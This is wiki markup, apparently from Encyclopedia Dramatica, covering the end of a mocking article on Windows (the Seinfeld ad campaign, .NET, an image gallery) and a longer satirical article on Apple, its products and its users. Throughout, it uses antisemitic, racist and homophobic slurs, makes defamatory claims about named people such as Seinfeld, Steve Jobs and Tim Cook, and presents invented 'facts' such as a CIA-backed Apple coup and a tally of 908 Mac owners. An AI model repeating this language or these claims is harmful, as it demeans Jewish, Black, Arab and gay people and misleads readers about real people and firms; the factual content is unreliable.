You saw this coming, folks: the [[old_media|sit-cum]] [http://www.nydailynews.com/entertainment/movies/2007/10/28/2007-10-28_jerry_seinfeld_goes_from_sitcom_king_to_.html king] and known [http://en.wikipedia.org/wiki/Shoshanna_Lonstein ephebophile] (he’s a [http://img.dailymail.co.uk/i/pix/2007/05_01/beeBIG1805_468x600.jpg furry] and a [[Jew]]) was destined to team up with the [[shit]] that is Microsoft. The immensely [[unfunny|witty]] and [[Internet celebrity|popular]] [[Mac#Videos|“Hello, I’m a Mac"]] commercials were just too good not to copycat. Enter “[[pedo|Jerry]] and [[nerd|Bill]] try to fit in with [[poor|normal]] people” spots. Hated by one and all, the campaign was halted after two ads, with the spin being that it’s [[lie|always been planned that way]], and “ordinary people” ads were not a complete rip off of [[Apple]]'s advertising. Using an "incredibly funny" and "popular" comedian wasn’t enough for Microsoft, though. Like an [[pedo|mature gentleman]] adopting [[Internets English|hipster talk]] to fit in with the [[jailbait|young’in’s]], Microshaft hijacked and forever sullied a respectable [[meme]] in the shoe store ad.

{{quote|...are they ever gonna come out with something that will make our computers moist and chewy, like [[cake]]...?| Jerry, being a Kewl Kid}}

[[Image:Vista delicious.jpg|thumb|center|300px|Bill Gaytes knows his memes.]]

'''''FACT:''''' This ad campaign cost [http://www.appleinsider.com/articles/08/09/18/microsofts_300_million_ad_campaign_tumbles_with_new_pc_ads.html 300 Million Jewgold], 10 of which went to Seinfeld for the two ads. 
Sometimes, being the richest TV actor in history with rerun syndication on five continents just [[Co$|isn't enough]]. 
Now you know why it costs you $35 to make a Windows support call to Raju in [[India|Bangalore]].

==.NET Framework==

Microsoft's .NET framework was designed with one very simple, sensible rule in mind: to force all programs on Windows to be proprietary. Yes, even open source ones. You see dear reader, it isn't enough that Microsoft is already a bazillionaire corporation reaping the benefits of spilled, outsourced, Chinese blood. No, they need to ensure that no other operating system can get their mitts on the glory that is "Software"

If you're confused, then please let me take this minute to explain. Once upon a time, computer programs were written in a language called [[C]]. This means that if you write a program for one operating system (such as Windows) then you could use it on another (such as Unix). Enter our [[jew|friend]] [[Bill Gates]]. This is a man who lives in a delusional world in which he invented computers and the internet; and therefore it is only his natural birthright to lay claim to all computer-related [[Softwarez]]. He first began his flagrant assault on free knowledge by obfuscating and packing programs into little things called "Executables" (These are the .exe files you see on your Windows right now.) These programs were different from every other operating system in that you couldn't see how they worked exactly -- all you knew is that [[Trust|they did in fact work]] [[Virus|as advertised]].

A few ambitious neckbeards got together and built several programs to run these executable files on their [[Linux|miscellaneous operations systems]]. The reasoning behind their desire to taint their kingdom with Microsoft bile is still unclear to this day. Regardless, they did it. This was widely regarded as a huge mistake to everyone who gave two shits about the girth of Bill Gate's wallet.

Naturally, Gates retaliated, and released what is known as the .NET framework (Pronounced "Dot Net"). Microsoft will tell you that they created this framework for the purpose of simplifying and streamlining programming. Those of us who have an iota of intelligence more than an ape or your senile grandmother knows that this is utter [[bullshit]]. It was invented for the sole purpose of forcing all programs created on Microsoft to work ONLY for Microsoft. Thus, any time you want to make a "modern program that follows current Windows standards" you are forced to make the program proprietary to Microsoft.

[[TL;DR]] Bill Gates has somehow successfully manipulated the entire world's population of programmers to work for him.

==Gallery==

{{cg|Windows Gallery|WindowsGallery|center|<gallery>
File:Macfagswinfagslinuxfags.jpg|Comparisons with other OSes.
Image:Windows_problems_forum.jpg|Typical Windows Forum [[LOL]]
Image:Apple powns pc Bootcamp.png|[[Wikipedia:Boot Camp (software)|Apple officially ''is'' a PC.]] Now you can be pretentious MacFuck ''and'' a PC retard...
Image:Windowssetup.jpg|Where's my keygen?
</gallery>|<gallery>


Image:Reflect.jpg|Yeah, just think about it!
Image:Typical Windows User.png|Typical Windows User
Image:Xperra!.gif|O NOES!!!! ALL YOUR LOLI!!!
Image:Unknownerror.jpg|lulz!
Image:wmpl.PNG|Microsoft will try to sue you if you accept this license.
File:Hidden.png|Microsoft hidden [[lulz]] settings
Image:Virus.gif|You got pwnd!
Image:Mousedeath.jpg|Fucking typical!!
Image:WindowsVistaScreenshot.gif|A screenshot of Windows Vista.
Image:Vista.jpg|Vista: don't you dare!
Image:Outlook_junk_mail.jpg|Microsoft really wants you to buy their Viagra!
Image:Error_wrong.jpg
Image:Reflect.jpg|[[Ceiling Cat]] watches Windows.
Image:Restart.jpg|Windows update has always sucked.
Image:Windows-Vista---a-whore-DAN-GLADA-INTERPRETATION.gif|Windows Vista is a whore. Hogs glory, but never puts out without a price.
Image:Windowssecurity.png|Windows Security, its fuckin 1337.
Image:microsoftsolution.gif|Microsoft Final Solution
Image:Billani_fpa.gif|Bill Gaytes gets [[pwned]]
Image:Error_Message_hamma.png
Image:Microsoft_programmer.jpg|Former Microsoft Programmer
Image:1 21 a450.jpg|[[Kanye West|Microsoft doesn't care about black people]]
Image:Windows Vista Updates FAIL.jpg|Updates FAIL
Image:Vistarocks.jpg|Vista is [[lie|very good at diagnosing your Internets problems.]]
Image:Fuckyourpc.jpg|[[FuckU-FuckMe|Why]] PC is better than mac.
File:PcCaseMod.jpg|Typical [[PC Gamer|Windows fanboy's]] PC. Upgraded with useless plastic Windows and [[gay|neon lights]]. Basicly what niggers do to their cars.
File:Nazicomp.jpg|What your Windows PC actually looks like when looking though special glasses.
File:Faggot laptop.jpg|Typical Windows users workspace.

Image:My_desktop.jpg|What the average desktop looked like back in 2000.
Image:Desktop_Copat.png|[[Ditto]]
File:Windows Vista - what a bully.JPG
File:Windows Vista - a whore..JPG
File:Computer timesink.gif|Windows 98 has a great range of programs
File:Xp fatal error.jpg
File:Ms knows.jpg
File:MS Clinic.jpg
File:Windows.jpg
</gallery>}}

== Trivia ==
Windows doesn't let you format drives in excess of 32 GB with FAT32 because a Microsoft developer thought more would never be needed.<ref>[https://www.theregister.com/2021/01/04/windows_format_fat32/ Explained: The thinking behind the 32GB Windows Format limit on FAT32 - 'Because I said so']</ref>

== See Also ==
[[File:Windows XP kun.jpg|thumb|right|The Windows vs Mac vs Linux debate [[OS-tan|personified]].]]
*[[Bill Gates]]
*[[Buffering]]
*[[Desktop]]
*[[Easter egg]]
*[[H-Dub Beeper]]
*[[PC Gamer]]
*[[Screensaver]]
*[[Steve Ballmer]]
*[[Windows Media Player]]
*[[Windows Optimizer]]
*[[WMV|.wmv]]
*[[QBASIC]]
*[[Rape]]
*[[Illuminati|Illuminati]]

=== Other worthy softwares ===
*[[Apple]]
*[[Linux]]
*[[PC-98]]

== References ==
<references />

== External links ==
* {{UkrED|Windows|UkrDramatica's article on this}}
*[http://www.haaretz.com/news/microsoft-ceo-in-herzliya-our-company-almost-as-israeli-as-american-1.246287 Microsoft CEO "Our company almost as Israeli as American."]
*[http://www.cracked.com/blog/a-review-pirated-copy-windows-7-i-bought-ebay/ Windows 7 YHBT Edition. Could this be one of our own patriots trolling a journalist?]

{{Microsoft}}
{{Softwarez}}
{{Timeline|Featured article July 14 & July 15, [[2011]]|[[P-p-p-powerbook]]|{{PAGENAME}}|[[Daniel Brandt]]}}
[[Category:Softwarez]]
[[Category:Drama-generating techniques]]

Apple

2026-07-15T05:43:31Z

SmidgeX2: Updated the heart monitor, replaced it with the offended embed due to the online arguments.

{{OffendedKids}}
[[Image:AppleBanner1.jpg|thumb|left|[[Hipsters|Ein Volk]], [[Steve Jobs|Ein Führer]], [[GRIDS|Ein GRIDS]]]][[Image:Macvspc2.jpg|center]] 
[[Image:Apple;think-different.jpg|thumb|250px|Think different.]]
[[Image:Apple_windows_car_fix_comparison.jpg|thumb|275px|One picture explains it all.]]
[[Image:Apple users.jpg|thumb|250px|Apple users rushing to pay for that new Service Pack called "Snow Leopard".]]
[[Image:Linux_osx_shot.JPG|thumb|250px|Stupid linux user [[doing it wrong]].]]
[[File:iPay.png|thumb|Apple sheep pay more for less.]]

HOLY FUCKING SHIT APPLE IS SUING A YOUTUBER FOR MAKING A TUTORIAL ON HOW TO FIX MACBOOKS!!!11! [http://www.gamerevolution.com/features/free-speech-under-attack-youtuber--repair-specialist-louis-rossmann-alludes-to-apple-lawsuit LINK]

[[Anal Prolapse|'''Apple''']] is a computer company that [[Liar|claims they are not a computer company]]. Their biggest claim to fame is that they invented the [[PC]] even though it was actually invented by [[the Man|the CTC]] . Apple is also known as that one company that had to be paid by [[Microsoft]] to stay in business. Led by all-star [[faggot]] Time Cook, who spends [[Disney|more time virtual signaling about liberal politics rather than actually making a good product]] like how Steve Jobs did, and [[lemonparty|a bunch of other old faggots]], Apple is the favorite high-tech company of [[Avant-garde|"artistes"]] everywhere. This is because people believe Apple makes awesome [[shit|computers]] that off-sets their exorbitant price by becoming obsolete only once a week. The truth is, they are merely victims of the [[Reality Distortion Field]]. While Apple may have done some [[mantrain|neat things in the past]], they are now just a patent troll.

Apple users are the most annoying computer fans on the planet, just slightly ahead of [[Linux]] users. They are continuously bragging about how easy a one-button mouse is, how great the benefits of the "genie" effect are, and act like [[BSD]] was just invented. Unfortunately, if you own an Apple product, you will gain [[AIDS|affection]] from the [[homosexual]] community.

Apple has more money than the federal government, while both being run by [[Jews]]. Apple however, falls behind in [[Steve Jobs|Jobs]], a known [[sand niggers|sand nigger]] .

Apple has borne an unearthly hatred for [[Microsoft]] ever since they stole their [[OS]] to make [[Windows]] , while [[Bill Gates]] still rakes in the cash from all those [[Microsoft Office]] sales. People who claim to like Mac computers can typically be found wearing [[Insane Clown Posse]] t-shirts or other [[Gay|trendy]] clothing.

According to a survey taken in early 2000, Apple had sold a total of 315 Macs to customers on two continents. However, with Apple's recent success, these figures have seen a great increase. A moar recent study shows that Apple now has 908 owners on 3 continents, all of which are female college students, gay hipsters, or old people with poor eyesight who mistook a MacBook for a TV tray table. This leaves Apple only slightly behind Microsoft's user base of 4.6 billion, less [[retarded]], customers.

Rumor has it that after being questioned about Apple's move to [[Intel]], [[Steve Jobs]] answered "[[I did it for the lulz]]".

On August 24, 2011, Steve Jobs announced his resignation as CEO of Apple as a result of his long, so called battle with [[AIDS|"cancer"]]. Appropriately, he named his successor and {{archive|ogmbf|known faggot}}, Tim Cook. After Jobs's vitamin C treatment failed, and he was pwned by the [[GRIDS]] that September, Cook's high-powered ass-ramming came full circle.

== Apple Users ==

[[File:TypicalAppleFanboy.jpg|200px|right|[[Typical]] Apple fanboy.]]
[[Image:Mac-think-different-urinal.jpg|thumb|Mac; think different.]]
[[Image:MacGaysLinuxPedophiles.jpg|thumb|Studies show that Mac users are gay]].
[[File:MacCustomers.jpg|thumb|[[Faggots|Customers]] of all walks of life are drawn to Mac's charm.]]
{{quote|Once a macfag, always a macfag.| Tyler Pittman|ED Mailing List.}}
{{quote|I'll buy anything if it's shiny and made by Apple.|Typical Apple User; The Onion.}}
{{quote|If I had the choice between being gay and owning a Mac, I would rather be gay because if I owned a Mac, I would be both gay and own a horrible computer.|Reliable source}}
{{quote|your an idiot my mac would shit on you. it can because i custom build it. my mac has a 12 core profcessor over clocked at 4.2gz, it also has an [[nvidia]] quadro 6000 6gb graphics card, 64gbs of ram, and a 8,000 gbs of harddrive. i run 13 different operating systems on it|Real quote from a wild mac user}}

'''Apple users are noobs.''' Apple users believe that they are better than you are because they pay so much for a shitty computer to be shiny with an apple logo on it, but what they don't know is that Macs were originally (and are still today) made purely for watching gay porn. People who subscribe to [[Slavery|Apple's corporate philosophy]] often espouse the notion that Apple products are somehow inherently more [[liberal]] than other things built out of metal and silicon. While this is true for the special case of [[Ann Coulter]], Apple users are in all other cases simply the delusional but willing victims of trendy advertising, which makes expensive [[computers]] made by [[communists]] appear to be a counter-culture political statement.

Apple users are simply [[fucktards]] who will believe anything they see in a commercial, as long as it agrees with the knee-jerk opinions they have already formed from other advertisements. Thanks to iPods built with [[Reality Distortion Field|alien mind control technology]] they are unable to conceive existence outside of music, video, images, and [[Crapp|Crapps]]. It is these legions of iPhone humping [[faggots] and [[hipsters]], with their thick black framed glasses and faddish hair hairstyles, who are the stormtroopers of the [[faggotry]]. [[Art school]] students can be found with a Mac, which provides them that much needed inferior computing flexibility, for their ultimately useless and [[gay]] degree with huge piles of debt from buying Apple's shit on top of funding a laughably overpriced and ultimately USELESS degree.

People make jokes relating to the Apple user's main preoccupation - proselytizing for Apple. No sooner than they spend their hard earned jewgolds on a shiny new gadget from Cupertino. They spend their entire lives stuffing that fact down the throats of all their friends, family, and anyone else forced to speak to them. They go on at length about the longevity of their expensive hardware while they save moar monies ready for the version to shove up their ass. Enforcement of these cult like agenda seems to have the word "Proprietary" at the heart of it. Proprietary file types and plugs. This is one of the methods by which Macfags are kept loyal to the brand, with no point in trying to any competitors products because they aren't [[Retarded|simple]] enough.

Here is a typical argument between Apple and Microsoft tools:

*PC user: Oh hey mac user, what have you been up to?

*Mac user: NOT GETTING ANY VIRUSES!!! LOLZ!11!one1!

*PC user: You do know that viruses are actually quite rare for PC Users, right? Most people use Windows at their workplaces and never get bothered by them.

*Mac user: wuell at leest i dont get viruses.

*PC user: Yes, that is because Mac only is used by closet hipsters and people who were hip in the nineties. The mac user base is too small for great viruses to be made for them.

*Mac user: us mac pplz still have the finder, while you pc pplz have to run around in a goose chase getting blue screens all the time.

*PC user: Is going through folders all that different on a Mac than on a PC? How often does the latest Windows iteration crash?

*Mac user: well macs can run windows now using boowt camp. *Puts on a shitty smart guy face*

*PC user: OK, so since it can run my superior operating system with shittier specs, that means I should go out and buy a mac for $2000, when I can get the same PC with the same specs for $400. Plus heard of Hackentosh? Besides Windows has the most superior software and hardware. And don't tell me this only counts for games. For instance, a new Mac can not even run a Youtube video in HD graphics. Literally everyone uses Youtube!

*Mac user: wweeeeellll-

*PC user: Bottom line is, Mac can never properly compete with Windows because of economies of scale. Even the connotation of the abbreviation "PC" is Windows. What you pay for is a highly overpriced computer with a visual appeal and a sense of "coolness" attached to it.

== To the Apple CEOs, who must have viewed this page at some point ==

How to make more money and make more of a fan base

Lower the price, Steve Jobs never wanted to price out the customer.
Make you're product line smaller. We don't need many versions of the same product.
Have better specs.

== MacPro 2013 a design that will last the next decade ==

I hope they did not mean that literally. Their flagship computer the MacPro has been neglected since 2013 no updates at all even specs.

Apple came out today 4/4/2017. Apologizing to its pro users. Apple, it's not your fault its Tim Cook's- he has no innovation time for a new CEO.

==Products==
[[Image: Nametheschizo.jpg|thumb|"Apple has....always... focused on innovation...removing parts which......which made me wet my pants...and the doctors didn't.....didn't give me my pills this morning...."]]
When Steve Jobs returned, he fired some people and hired Apple's current and only designer - former mental patient Jonathan Ive, who appears each time any new product is launched, appearing partially sedated. Like most people who put together Apple products, Johnny is evidently pushed too far. Often in product-launch videos, he struggles to find new words to describe recycled product designs - literally taking fives minutes between each word to think of something new to say - but realising that's impossible, so he returns to saying what he said the last time around.

Laughable Ive-isms include: ''"The <product name>....is the best <product name>...Apple has produced yet..."'' and ''"Apple has....always focused on innovation"''

'''Phone Toys:'''

In 2007 apple decided to bring the phone to the homosexuals/hipsters - and created the [[iPhone]]. Fanboys wept cum tears as they fapped over the ability to [[masturbation|shake their screens]], courtesy of gyroscopes which were invented hundreds of years before Apple came about - of course Apple will try to have you think otherwise.

The iPhone continued to be boring until late summer 2014, when the sixth mutation of glass and aluminum was rushed onto the market to cover up [[The_Fappening|Apple's iCloud fuck-up]]. Hipsters everywhere found to their dismay that they weren't actually stoned - that their iPhone666 was infact {{Archive|0xlys|warping in their pocket}} - that and Speedy Joe [[lol|sold them flour and not cocaine]].

Perhaps an Apple has a plan to convert hipsters to homosexuals? [[Potential|Will it work?]] [[No|Will it be an improvement?]]

'''Old Toys:'''
[[Image: Colorsforeverybathroom.jpg|thumb|With colors to match ones in most domestic bathrooms, the G3 was the toilet seat of choice in the late 90's.]]
Johnathan Ive started in his job at Apple by creating the [[Unoriginal|faggy G3]] - a normal computer with a load of faggy plastic, before a year later giving the word [[Toilet_Seat|a more colourful laptop version]] - otherwise knows as the iBook. Realising that was it and that he didn't have any further original ideas, Jonny had a mental breakdown, and inspired by his mental ward, he went all John-Lennon-minimalist with the next iMac: the [[Gay|G4]]. For the first and only time - an Apple product had some functionality in its hardware design.

Years later, he created the G5 imac, which Blow Jobs decreed at some WWDC Faggotry club seminar as: ''"It's all nice and flat, see that?"''. Changing to Intel processors meant that it was easier to disguise the fact to Apple fags that they haven't upgraded the machine at all, so the design of all of their products has remained the same since this period.

Seven [[PowerPC]] fans gathered in Cupertino, California in order to collectively slit their wrists at the Intel switch upon announcement. This was meant to protest Apple's move to [[Intel]], but instead provided welcome industrial dye for the new [[U2]]-endorsed, strawberry-flavored iMac.

'''Current toys:'''

In fact, none of their products have changed since then. Ironic how Apple always went on and on and on about how [[Vista#Vista_Technology|Vista]] took five years to come about, yet the Mac Pro hasn't changed in over a decade. Along the way the iPhone was thrown in, along with the iPad - Apple obsesses over these, and seems to shun professional products because they don't like anybody with an independent thought.

Apple doesn't know who it's audience is because they have made so much money from selling overpriced slices of aluminum and never particularly cared. Back in '06 they thought gamers were using their machine, because they've never bothered to comprehend gaming laptops.

[[Image: nextgenerationofipad.jpg|thumb|Of course, this concept will never become reality, because it has two knobs, which will be too complicated for Apple users.]]
[[Image:applecoffeemaker2.png|thumb|*Cups sold separately.]]
[[File:Iphone 10 tallest iphone yet.jpg|thumb|If she neglects you in favor of a vibrating device that she has access to 24 hours a day, 365 days, you are coming up short.]]

Apple consumers are just that: consumers. They're people who buy shit just because they saw it on TV. Apple consumers are the type of people who are stupid enough to buy a $1000 [[Macbook_Air]] or Pro, however, they are now the same thing. The laptop has one USB port and no DVD/CD drive, or even a fucking ethernet port. But it can fit inside a manila envelope, which is [[Shit|''such'' a useful function]]. Currently Apple thinks everybody uses an iPad as their primary work machine, which is a myth as the only people who use them include 11 year olds who don't know any better. People who spent all their money on Apple products that they now ride a bus, and of course [[Objectophilia|Apple fags]].

Creative people who used macs because they are too lazy to build their own computers, are now leaving Apple, as Mountain Lion totally can't comprehend Photoshop, Illustrator, Premier Pro or anything by Adobe. And Final Cut Pro is now more or less iMovie, but spending more money for iMovie is pointless, unless you have more money than you have IQ. It's also a LOT slower, and for some reason looks like a car dashboard, which appeal to hipsters.

On the subject of the smaller and even cheaper to produce products: they'll also buy an iPod Nano or iPod Shuffle, even if they already own an iPhone, because all Apple fans are [[Hipsters|trendy fags]] who wear tight chino pants so they can't fit a regular-sized iPod in their pocket. Instead of paying $30 for a pair of pants with bigger pockets, they would rather spend $70-$160 on a toy that'll be obsolete the following week.

'''Future products:'''
[[Image:Macuser.jpg|thumb|150px|Notice the enjoyment he is receiving from ingesting his own feces]]
Apple's philosophy is to either take the last model, and make it thinner, or make it longer. They market such products to fanboys, who believe anything Apple says as being useful, because said product is lighter. But the reason everybody else knows behind ever-thinner and lighter products is because it's cheaper to ship, meaning more money for the Apple Execs to spend on [[hookers and blow]]. At least the fanboys of Alienware get a free velvet pouch, cap, DVD disk, and BluRay drive as well. Costing less than a $1,000 mac with a much slower processor that's only purchased by anyone dumb enough to believe Apple marketing.

Future Apple products are now being designed by a mental patients, and paid for by [[Jews|investment bankers]], which makes their products unique. Whereas other computers are merely built by people with silly computing qualifications.

Of course, Apple fanboys will always believe that they're getting value for money because their machine works quite well right now, however, everyone else knows once OSeX is upgraded their browsers won't be supported, forcing them to upgrade.

What's also funny is that at D10, CEO Tim Fookup stated "...I believe that the tablet market would eventually surpass the PC market", signalling that Apple thinks it's future is in catering for the people featured in their marketing photos; toothless [[Spics]] and [[Azn|Azns]] who love shiny things because they live in grinding, abject poverty. He babbled on further stating "...as much as I love my mac...I uh...*scratches ass for a few moments* find myself spending more time on my iPad", a statement which clearly isn't the most poorly executed sales pitch ever.

Their newest [[Mac OS|OSeX]] anally rapes hipster creatives when Mountain [[Furry|Lion]] is installed, making it spaz out when attempting to run [[Adobe®_Photoshop®|Photoshop]] - and heaven forbid you try to edit your porno film on iMovie. They couldn't be asked when inquiring on upgrading the Opera browser.

(View Tim Cook evading questions at D10 [http://www.youtube.com/watch?feature=endscreen&NR=1&v=eUAPHgiEniQ here]. His first fail is at a questioned asked a 04:37)

And yet, apple fans STILL think they're getting a good deal, but in reality the only good deal they're going to get is to sell their products short before they lose all of their value. Even the most slothful of [[hipsters]] are now doing it.

Indeed, the future is shit-colored at Apple with Tim [[Cuck]] as the new emperor. Even emos have either gone up in the world by buying a PC or have gone to living in the streets. So there is only a handful of trust fund college kids to care, and a shit load of [[13 year old boys]], who can't get enough of the boring shit.

At WWDC in 2013, Apple tried really hard to sell it's products again. They think this can be done by producing a new OS X named after some crappy band from the 80's/90's, a new coffee machine called the mac pro, and some upgrades to the macbook air, and not at all by lowering its prices.

===It's not shiny...IT'S GOLD!!!!===
In 2015, Apple released a new macbook - a [[shit|product]] they keep taking offline and [[retarded|bringing back again time after time]]. This time though, it reached new apple standards of pointlessness - here's a breakdown:

* No Ports - but then this won't be an issue for [[gay|apple fanbois]], [[homosexual|who don't know what a good port is anyway]].
* Even thinner
* Still no disc drive
* Power cord sold separately
* No software

2016 MacBook update:

* Still no fucking ports
* 480P camera in 2016!
* As thin as the 2015 MacBook
* No disc drive
* Power cord sold separately
* Same price

===Now in ROSE GOLD!!!!===

BUT IT COMES IN [[GAY|GOLD]]! Or [[Lesbian|Space Silver]]! Or just have it [[Poor|straight off the machine]].

<center><youtube>KHZ8ek-6ccc</youtube></center>
<center>'''And as usual, you can't have an apple product release without a video from an apple engineer, who said that in the [[Steve_Jobs|Blow Jobs]] era, they'd have all been fired'''</center>

==Humor==
It would seem that Apple and it's devotees are the subject of much Internet humor.

Q = "How do you know if someone is an Apple User?"

A = "Don't worry, they'll tell you"

== Bend over! It's purchasing time! ==
We've all heard the jokes about how expensive Macs are compared to similarly spec'd out PCs, and in fact this article is chock filled with pictures to that effect, but much of those are outdated. Let's see exactly how fucked you're getting '''today'''. For this lesson, we'll be using the iMac with Retina [[Bullshit|5K]] Display as the example, quad core starting base, as of 11 October 2015. No upgrades or add-ons. We'll explore the pricing and try to build a similarly spec'd PC using the Logical Increments PC buying guide.

=== The Mac ===

{{quote|MAC COST 99999999999999999£

BEST EVER PC COST 100£

SO GO SUCK DONKEY BALLS, MAC FANS

YOU CAN'T TAKE THE TRUTH

YES, THEY CAN FIT IN AN ENVELOPE- THAT'S ALL THAT MATTERS, RIGHT?

Mac fucks your gradeds balls.|gabriel25gatens on a MAC YouTube video|center=relative}}

This sumbitch costs $2,000. Hot shit. [[You]] better be getting a super special awesome ultra special sexy machine for that kind of coin! The reality however is, you won't.

* Processor: A quad core i5. It's the retarded cousin of the i7 family and it doesn't support Hyper Threading. In other words an [[AMD]] would outperform it.
* RAM: This is probably the worst part. 8GB of RAM in a $2,000 machine? Wow. You can up it to 32GB for ''just'' $600. You could build a decent PC for that kind of money.
* Hard Drive: A 1TB Drive. Has an option for a "fusion" drive that uses both a regular and SSD, but doesn't specify how much is split between the two.
* SSD: They'll hit you up for $1000 in for a 1TB drive option, which leads to believe that the "fusion" option only offers [[Fail|256 GB]] of solid drive space.
* Graphics: They'll throw in a really [[shitty]] Radeon R9 M290 with your purchase. It's a mobile chip, because fitting a normal card in a computer case isn't trendy enough.
* CD/DVD Drive: There is none! Enjoy having a tablet without the touchscreen, while having a mouse and keyboard, [[faggot]].
* Monitor: It's an impressive 5K resolution! Not 4k, because using a standard that you can't see will make you feel above everyone else!
* Apple is expected to release an 8k iMac in the near future with a thinner design.

===Brainwashing===
Apple brainwashes you into buying their outdated technology by making their products look fancy.

Having an over priced fancy product will make you feel like you are better than everyone else.

So all in all, this isn't really an amazing computer and it's below practical standards. Apple should really up their game or we could do it for them.

=== The PC ===
If you're the kind of basement dwelling faggot that can actually feel the performance difference from a "Superior" machine, you'd probably enjoy putting one together yourself. Just for fun though, let's build two computers: One that matches the specs of the iMac to see what the components really cost, and one that matches the price.

==== Same Specs ====
There's a problem here: The parts that Apple is offering are, well, outdated, shitty, and obsolete. We'll have to go with their recent equivalents. That's right folks, Apple fanboys will not only pay through the nose for Apple products, they'll pay through the nose for technology that PC users had for half the price, three years ago!

* Processor: The Intel Core i5-4590. $200
* RAM: 8GB of RAM in this machine's a fucking WASTE. $37.
* Hard Drive: Want to know a secret? Apple doesn't make hard drives. They buy them from Western Digital like the rest of us. $50.
* SSD: The Apple didn't include an SSD, but the 512GB they offer for $500 is $300. And just like the hard drives, Apple gets them from the same place you do.
* Graphics: The Radeon R290 is already 2 years old and this iMac was released a few months ago. is $270.
* Monitor: A standard 4K will do because 5K is just marketing bullshit. $534

For a complete machine you'll need a motherboard, case, and PSU. $150, $100, $50 for REALLY GOOD ones of each.

'''GRAND TOTAL: $1491.''' Less than a two-thirds of the Mac. And if you skimp on the 4K monitor you can get it below $1200. Even less if you harvest some from the machine you're using to read this page right now.

With the $500 that you save, you could build buy TWO [[hookers]]. Or some [[drugs]]. Or a laptop that beats the living shit out the MacBook. Or donate it to ED.

Of course, there are PLENTY of PC OEMS that will sell you a computer with specs that far surpass the iMac for less than $1,000.

==== Same Price ====
I'm lazy. Click [http://www.logicalincrements.com/ Here] and go to the "Enthusiast" tier (third from the bottom) hovers around $2,300, $200 less than the Mac.

=== The 2016 Mac event was lame===

So much hype about new macs being released when the only thing

that was released during the so called mac event was new software of course

& the new MacBook Pro with an over priced touch bar

== Bend over! It's iCloud time! ==
{{Main|The Fappening}}

If you thought the machines were crap - wait until you use [[something_awful|their add-ons]]!

In August 2014 some hacker on 4chan proved just how easy hacking Apple actually was. That or they just wanted ransom money from [[Celebrity|teenage celebrities]] everybody knew were slutty to begin with.

A number of celebrity photographs were easily taken from iCloud, because Apple cares more about shifting unsellable/useless iPads to [[hipsters]] than they are in running some cling-on cloud data service. Proving that they can't compete with Google, which makes apple less than [[google]]. Be sure to point this out to Apple [[fanbois]] for hours of entertainment value.

At first, Apple responded by posting pictures of hipsters on their website, because iPad sales were crappy and nobody could be bothered upgrading their current iPad. Which they barely ever used to watch videos or read books on, because they were busy doing actual work to care. However, once [[The Party Van]] arrived, Apple initially released [http://9to5mac.com/2014/08/31/countless-celebrity-nude-photo-leaks-being-blamed-on-supposed-icloud-hack/ a statement denying everything].

== However... ==
[[Image:ibrator2.jpg|thumb|Also, iCocks.]]
Unlike normal PC users, who more often than not drive a true American car built in Motor City rigged with a V8 engine of at least 1 UK gallon of displacement. You'll quite often find your typical Apple consumer driving a pompous, Eurotrash vehicle (e.g. BMW, SAAB, Volkswagen, Peugeot), or Subaru with a kayak or pair of cross country skis on the roof. Not because they need it or really even want it, but because they feel it would set them apart from all those "[[Faggots|other people]]."

Apple fans often insist that Macs are easier to use than PCs, but by making such an argument, all they imply is that they're too damn stupid to figure out how to use a real computer, rather than an overpriced toy. The truth is these clueless hipsters actually require a dumbed-down version of a ubiquitous appliance that even octogenarians have figured out years ago.

== Criticism ==
[[Image:Fuckoffmac.gif|center]]
[[Image:New_iMac_for_same_iDiot(Img3cfef3c5e7eff).jpg|thumb|]]
[[Image:Windows_Mac_Linux.jpg|thumb|Know the Difference.]]
[[Image:Apple1.PNG|thumb|<s>Right click indeed.</s> [[HAHAHA DISREGARD THAT, I SUCK COCKS]] ]]
[[Image:Mac_sucks.jpg|thumb|Best slogan evar.]]
[[file:the apple cycle.jpg|thumb|The truth..it hurts.]]
A secret survey conducted by the Rand Corporation in the 1970s confirmed that any person attracted to white, plastic machines completely without sharp edges is an utter homosexual, subconsciously wishing to insert them into his rectum. The thesis was famously defended by Sigmund Freud [[at least 100]] years ago. This led some to theorize that the miraculous upsurge in sales at the dawn of the new millennium, after a long period during which no one would buy an Apple computer, was the result of a coup backed by the CIA. It could not be a coincidence, it was argued, that every new design released by Apple had a counterpart amongst the suggestions presented in the Rand Corporation survey, which had recently been made public, to which it was almost identical. The CIA's interest in the coup supposedly was to divert the interest of the inhabitants of California towards "expressing themselves" with shitty programs such as iPhoto, Pages and iMovie (all designed especially to appeal to homosexuals) so that the Republicans could regain power from the [[Democrats]] in the 2000 presidential elections. The CIA confessed its partaking in the coup after the Republican Thousand Year Empire was secured in 2004, and admitted to doing this "for the [[lulz]]".

Also, although the machines cost $2000, the machines are made in outright sweatshops, and often, the machine will need to be sent back numerous times, due to various problems, until you are forced to buy a new one. This is a form of Steve Jobs [[Reality Distortion Field|manipulation]].

In summary, Apple products represent precisely what '''''you don't want to be''''' either in mind, body, or spirit. Avoid all traces of this evil in your otherwise rewarding journey through life and never forget to enjoy the occasional chuckle at the expense of the typical Apple dweeb in your neighborhood.

<center>{{frame|{{fv|maccritvids|background-color: #dedede;|font-weight: bold;
|<center>''' The truth about Mac users '''</center> <youtube>IXKlHooroww</youtube>
|<center>''' Unofficial hymn of Apple product '''</center> <youtube>F4hQ4J4BFOM</youtube>
|<center>''' Mac Gets Served '''</center> <youtube>8h1VQBfLDLA</youtube>
|<center>''' Crash Different '''</center> <youtube>j1SjWJK3zq8</youtube>
|<center>''' PC tells the truth '''</center> <youtube>hIrBkgS4E1k</youtube>
|<center>''' Apple's unspoken message '''</center> <youtube>JixbzFjv_cU</youtube>
|<center>''' Apple's unspoken message '''</center> <youtube>JixbzFjv_cU</youtube>
}}|border=#dedede|background=#dedede}}</center>


==Employee raep==
{{quote|The secret wage-theft agreements between Apple, [[Google]], [[Intel]], [[Adobe]], Intuit, and [[Pixar]] (now owned by Disney) are described in court papers obtained by PandoDaily as “an overarching conspiracy” in violation of the Sherman Antitrust Act and the Clayton Antitrust Act, and at times it reads like something lifted straight out of the robber baron era that produced those laws. Today’s inequality crisis is America’s worst on record since statistics were first recorded a hundred years ago — the only comparison would be to the era of the railroad tycoons in the late 19th century.|--[http://pando.com/2014/01/23/the-techtopus-how-silicon-valleys-most-celebrated-ceos-conspired-to-drive-down-100000-tech-engineers-wages/ SODOMY!!]}}

==Tim Cook==
Rumor has it Apple employees miss Steve Jobs. Let's face it since Steve left
Apple has been lacking in innovation.

== DRM ==
